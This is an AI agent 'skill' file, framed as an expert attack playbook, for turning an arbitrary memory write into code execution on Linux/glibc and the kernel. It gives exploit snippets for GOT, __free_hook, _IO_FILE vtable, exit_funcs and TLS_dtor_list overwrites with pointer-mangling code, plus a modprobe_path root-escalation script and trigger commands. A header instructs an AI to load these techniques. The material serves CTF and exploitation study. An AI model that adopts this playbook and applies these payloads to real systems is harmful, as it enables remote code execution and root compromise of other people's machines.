arbitrary-write-to-rce

name	arbitrary-write-to-rce
description	Arbitrary write to RCE playbook. Use when you have an arbitrary write primitive (from heap exploitation, format string, or OOB write) and need to convert it into code execution by targeting GOT, hooks, _IO_FILE vtable, exit_funcs, TLS_dtor_list, modprobe_path, .fini_array, or C++ vtables.

SKILL: Arbitrary Write to Code Execution — Expert Attack Playbook

AI LOAD INSTRUCTION: Expert techniques for converting an arbitrary write primitive into code execution. Covers every major overwrite target organized by glibc version compatibility: GOT, __malloc_hook, __free_hook, _IO_FILE vtable, __exit_funcs, TLS_dtor_list, _dl_fini, modprobe_path, .fini_array, C++ vtable, and setcontext gadget. This is the "last mile" skill. Base models often target hooks that no longer exist (post-glibc 2.34) or miss pointer mangling requirements.

0. RELATED ROUTING

• heap-exploitation — obtaining the arbitrary write via heap attacks
• format-string-exploitation — obtaining the arbitrary write via %n
• stack-overflow-and-rop — stack-based write primitives
• binary-protection-bypass — which targets are available given protection configuration
• heap-exploitation IO_FILE_EXPLOITATION.md — deep _IO_FILE structure exploitation

---

1. TARGET SELECTION BY GLIBC VERSION

Target	glibc < 2.24	2.24–2.33	≥ 2.34	Required Knowledge
GOT overwrite	OK (Partial RELRO)	OK (Partial RELRO)	OK (Partial RELRO)	Binary base
__malloc_hook	OK	OK	Removed	libc base
__free_hook	OK	OK	Removed	libc base
__realloc_hook	OK	OK	Removed	libc base
_IO_FILE vtable (direct)	OK	Vtable range check	Vtable range check	libc base + heap
_IO_FILE via _IO_str_jumps	N/A	OK (2.24–2.27)	Patched	libc base + heap
_IO_FILE via _IO_wfile_jumps	N/A	OK (≥ 2.28)	OK	libc base + heap
__exit_funcs	OK	OK	OK	libc base + pointer guard
TLS_dtor_list	N/A	N/A	OK	TLS addr + pointer guard
_dl_fini / link_map	OK	OK	OK	ld.so base
modprobe_path (kernel)	OK	OK	OK	Kernel base
.fini_array	OK	OK	OK	Binary base (if writable)
C++ vtable	OK	OK	OK	Object address + heap
setcontext gadget	OK	OK (changed in 2.29)	OK	libc base
Stack return address	Always	Always	Always	Stack address

---

2. GOT OVERWRITE

Replace a function pointer in the Global Offset Table.

Requirements

• Partial RELRO (.got.plt writable) — Full RELRO blocks this entirely

Common Targets

Overwrite From	Overwrite To	Trigger
printf@GOT	system	Next printf(user_input) with input = /bin/sh
free@GOT	system	Next free(ptr) where ptr points to "/bin/sh"
strlen@GOT	system	Next strlen(user_input)
atoi@GOT	system	Next atoi(user_input) with input = "sh"
puts@GOT	system	Next puts(user_input)
exit@GOT	main or gadget	Create loop for multi-shot exploit
__stack_chk_fail@GOT	ret gadget	Neutralize canary check

# Format string GOT overwrite
from pwn import fmtstr_payload
payload = fmtstr_payload(offset, {elf.got['printf']: libc.sym['system']})

# Heap-based GOT overwrite (tcache poisoning)
# Allocate chunk at GOT address → write system address

---

3. __malloc_hook / __free_hook (glibc < 2.34)

__malloc_hook

# Overwrite __malloc_hook with one_gadget address
# Triggered by any malloc call (including internal malloc in printf with large format)
write(libc.sym['__malloc_hook'], one_gadget_addr)
# Trigger:
io.sendline('%100000c')  # printf calls malloc internally for large format

__free_hook

# Overwrite __free_hook with system
write(libc.sym['__free_hook'], libc.sym['system'])
# Trigger: free a chunk containing "/bin/sh"
chunk_data = b'/bin/sh\x00'
# ... allocate chunk with this data, then free it

Realloc Trick for one_gadget Constraints

# one_gadget often requires specific register/stack state
# realloc pushes registers and adjusts stack before calling __realloc_hook
# Set __malloc_hook = realloc+N (skip some pushes to adjust stack alignment)
# Set __realloc_hook = one_gadget
write(libc.sym['__realloc_hook'], one_gadget)
write(libc.sym['__malloc_hook'], libc.sym['realloc'] + 2)  # +2, +4, +6 etc. to adjust

---

4. _IO_FILE VTABLE

See IO_FILE_EXPLOITATION.md for full details.

Quick Summary by Version

glibc	Method	Vtable Target
< 2.24	Direct vtable overwrite	Point vtable to fake table with system at __overflow offset
2.24–2.27	_IO_str_jumps	Within valid range; _IO_str_finish calls _s._free_buffer
≥ 2.28	_IO_wfile_jumps	Wide-char path: _wide_data->_wide_vtable not range-checked
≥ 2.35	House of Cat	_IO_wfile_seekoff → _IO_switch_to_wget_mode → fake wide vtable call

FSOP Trigger

# Overwrite _IO_list_all → fake FILE with crafted vtable
# Trigger via exit() or malloc abort → _IO_flush_all_lockp → _IO_OVERFLOW

---

5. __exit_funcs / __atexit

// __exit_funcs is a linked list of function pointer entries called during exit()
// Each entry contains a flavor (cxa, on, at) and a function pointer
// Function pointers are MANGLED with pointer guard:
//   stored = ROL(ptr ^ __pointer_chk_guard, 0x11)

Exploitation

# Need: libc base + __pointer_chk_guard value (at fs:[0x30] or leaked)
# 1. Leak or brute-force pointer_guard
# 2. Compute mangled function pointer:
import struct
def mangle(ptr, guard):
    return ((ptr ^ guard) << 0x11 | (ptr ^ guard) >> (64-0x11)) & 0xffffffffffffffff

# 3. Write mangled one_gadget/system to __exit_funcs entry
# 4. Trigger: call exit() or return from main

Without Pointer Guard Knowledge

If you can overwrite both the function pointer AND the pointer guard (in TLS at fs:[0x30]):

1. Set pointer guard to 0
2. Set function pointer to ROL(target, 0x11)
3. Demangling: ROR(stored, 0x11) ^ 0 = ROR(ROL(target, 0x11), 0x11) = target

---

6. TLS_dtor_list (glibc ≥ 2.34)

Thread-local destructor list — the primary post-2.34 target.

// Called during __call_tls_dtors() in exit flow
// Each entry: { void (*func)(void *), void *obj, void *next }
// func is MANGLED same as exit_funcs (PTR_DEMANGLE)

Location

TLS area (pointed by fs register on x86-64)
tls_dtor_list is a thread-local variable in libc
Typically at fs:[offset] — offset found via libc symbol or brute-force

Exploitation

# 1. Leak TLS base address (e.g., via canary leak: canary at fs:[0x28])
# 2. Compute tls_dtor_list address
# 3. Forge a tls_dtor_list entry:
entry = p64(mangled_func_ptr)  # func (mangled with pointer guard)
entry += p64(arg_value)         # obj (passed as argument to func)
entry += p64(0)                 # next = NULL (end of list)
# 4. Write entry to heap, set tls_dtor_list to point to it
# 5. Trigger: exit() → __call_tls_dtors() → func(obj)

---

7. _dl_fini / LINK_MAP CORRUPTION

Attack Vector

During exit(), _dl_fini iterates the link_map list and calls DT_FINI_ARRAY entries.

// In _dl_fini:
for each loaded library (link_map entry):
    if l_info[DT_FINI_ARRAY]:
        array = l_addr + l_info[DT_FINI_ARRAY]->d_un.d_ptr
        for each entry in array:
            entry()  // call destructor

Exploitation

1. Corrupt a link_map entry's l_addr (relocation base) to shift the FINI_ARRAY pointer
2. Or corrupt l_info[DT_FINI_ARRAY] to point to fake array
3. Fake array contains target function pointer (system, one_gadget)
4. Trigger: exit() → _dl_fini → calls fake destructor

Advantage: No pointer mangling (function pointers in FINI_ARRAY are not mangled).

---

8. modprobe_path (KERNEL)

Overwrite the kernel's modprobe_path to execute arbitrary commands as root.

# 1. Arbitrary kernel write: overwrite modprobe_path ("/sbin/modprobe")
#    with "/tmp/x" (attacker's script)
kernel_write(modprobe_path_addr, b'/tmp/x\x00')

# 2. Prepare script:
# echo '#!/bin/sh' > /tmp/x
# echo 'cat /flag > /tmp/output' >> /tmp/x
# chmod +x /tmp/x

# 3. Trigger: execute a file with unknown binary format
# echo -ne '\xff\xff\xff\xff' > /tmp/trigger
# chmod +x /tmp/trigger
# /tmp/trigger
# → kernel calls modprobe_path ("/tmp/x") as root

See kernel-exploitation for kernel write primitives.

---

9. .fini_array

Overwrite destructor function pointers called during normal program exit.

# .fini_array contains function pointers called in reverse order during exit
# Typically: [__do_global_dtors_aux, ...]
# Overwrite first entry with target (main for loop, system for RCE)

# Two-stage: .fini_array[0] = main (loop back), .fini_array[1] = <exploit_func>
# First exit: calls .fini_array[1] (exploit_func), then .fini_array[0] (main)
# In main loop: set up final exploit

Limitation: .fini_array may be read-only in Full RELRO binaries.

---

10. C++ VTABLE OVERWRITE

// C++ objects with virtual functions have a vptr at offset 0
// vptr → vtable → array of function pointers
// Overwrite vptr to point to fake vtable with controlled function pointers

// Object layout:
// +0x00: vptr → [vtable_entry_0, vtable_entry_1, ...]
// +0x08: member data...

# 1. Leak object address and vptr
# 2. Create fake vtable in controlled memory:
fake_vtable = p64(0)              # offset -0x10 (RTTI info)
fake_vtable += p64(0)             # offset -0x08 (RTTI info)
fake_vtable += p64(target_func)   # virtual function 0 → system / one_gadget
fake_vtable += p64(target_func)   # virtual function 1
# 3. Overwrite vptr to point to fake_vtable + 0x10 (skip RTTI prefix)
# 4. Trigger: call virtual function on the object

---

11. setcontext GADGET

setcontext in libc loads registers from a ucontext_t structure — useful as a pivot gadget.

glibc < 2.29

// setcontext+53: loads registers from [rdi + offsets]
// RDI = first argument = pointer to controlled buffer
// Sets RSP, RIP, and all other registers → full control

glibc ≥ 2.29

// setcontext+61: loads registers from [rdx + offsets]
// Must control RDX, not RDI
// Need an intermediate gadget: mov rdx, [rdi+X]; ... ; call/jmp [rdx+Y]

# Common pattern with __free_hook (pre-2.34):
# __free_hook = setcontext + 61
# free(chunk) → setcontext(chunk) where chunk contains fake ucontext
# From ucontext: set RSP to ROP chain, RIP to ret → ROP continues

# Post-2.34: combine with _IO_FILE exploitation
# _IO_FILE vtable call passes fp as first arg → use gadget to move to rdx → setcontext

---

12. DECISION TREE

You have an arbitrary write primitive. What to target?

├── What's the RELRO level?
│   ├── None / Partial → GOT overwrite (simplest, most reliable)
│   │   └── printf→system, free→system, atoi→system
│   └── Full RELRO → GOT read-only, choose alternative:
│
├── What glibc version?
│   ├── < 2.34 (hooks available)
│   │   ├── __free_hook = system → free("/bin/sh") [easiest]
│   │   ├── __malloc_hook = one_gadget → trigger malloc [if constraints met]
│   │   └── __realloc_hook + __malloc_hook realloc trick [adjust stack alignment]
│   │
│   ├── ≥ 2.34 (no hooks)
│   │   ├── Know pointer guard (fs:[0x30])?
│   │   │   ├── YES → __exit_funcs or TLS_dtor_list
│   │   │   └── NO → overwrite pointer guard to 0 first, then exit_funcs
│   │   ├── _IO_FILE + _IO_wfile_jumps (House of Apple 2 / Cat)
│   │   │   └── Need: libc base + heap address + controllable FILE structure
│   │   ├── _dl_fini link_map corruption
│   │   │   └── Need: ld.so base address
│   │   └── .fini_array (if writable)
│   │       └── Need: binary base (no PIE, or PIE base leaked)
│   │
│   └── Any version
│       ├── Stack return address (if stack address known)
│       └── C++ vtable (if targeting C++ object with virtual functions)
│
├── Kernel write primitive?
│   ├── modprobe_path (simplest kernel→root)
│   ├── core_pattern (/proc/sys/kernel/core_pattern)
│   └── Direct cred structure overwrite
│
└── Need to chain read → write → execute?
    └── setcontext gadget: arbitrary write → pivot RSP → ROP chain
        ├── glibc < 2.29: setcontext+53 (uses RDI)
        └── glibc ≥ 2.29: setcontext+61 (uses RDX, need mov rdx, [rdi] gadget)